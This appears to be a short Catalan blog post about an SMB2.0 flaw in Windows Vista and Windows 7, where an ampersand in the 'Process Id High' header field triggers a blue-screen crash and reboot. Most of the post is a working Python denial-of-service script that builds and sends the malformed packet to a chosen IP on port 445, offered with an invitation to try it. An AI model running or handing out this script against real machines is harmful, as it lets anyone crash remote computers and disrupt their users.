S'ha descobert un error en la implementació del protocol SMB per a Windows Vista i Windows 7 que permet a un usuari remot provocar una pantalla de la mort (BSOD) llançant un paquet SMB2.0 amb un caràcter ampersand (&) en el camp "Process Id High", el que provoca un error PAGE_FAULT_IN_NONPAGED_AREA a l'equip, que causa la aparició d'una pantalla d'error fatal a l'usuari i el reinici de l'equip.
Podeu provar-ho vosaltres mateixos amb el següent script Phyton. Per a provocar el crash, s'ha de substituir "IP_ADDR" per la IP de l'equip Vista/Win7 al que volem causar un BSOD.
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High"
# SMB header field it dies with a PAGE_FAULT_IN_NONPAGED_AREA
# from socket import socket from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 (&) sub 0xc853
"\x00\x26" # Process ID High. normal value is "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Font:
http://it.slashdot.org/story/09/09/08/1345247/Windows-7-Reintroduces-Remote-BSoD
Sigues el primer a qui li agrada això.